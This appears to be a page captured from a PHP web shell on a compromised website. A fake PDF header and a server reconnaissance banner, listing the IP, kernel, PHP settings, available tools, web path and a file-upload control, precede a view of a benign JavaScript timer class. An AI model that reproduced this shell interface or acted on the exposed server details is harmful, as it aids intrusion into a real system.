%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.145.162.114 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/checkout/lib/src/ |
Upload File : |
class Timer { constructor() { this.list = []; } add(fields) { if (!fields.hasOwnProperty('index')) { return false; } this.list[fields.index] = { id: fields.id }; } get(index) { if (!this.list[index] || this.list[index].length <= 0) { return {}; } return this.list[index]; } delete(fields) { this.list.splice(fields.index, 1); } clean(fields) { let timer = this.get(fields.index); clearTimeout(timer.id); this.delete({ index: fields.index }); } create(time, index = 'default', callback = null, callbackParams) { this.clean({index}); index = index == null? 'default': index; callback = typeof callback === 'function'? callback: function() {} let timer = setTimeout(callback, time); let item = {id: timer, index: index}; this.add(item) } isEmpty() { return this.list.length === 0; } } export {Timer}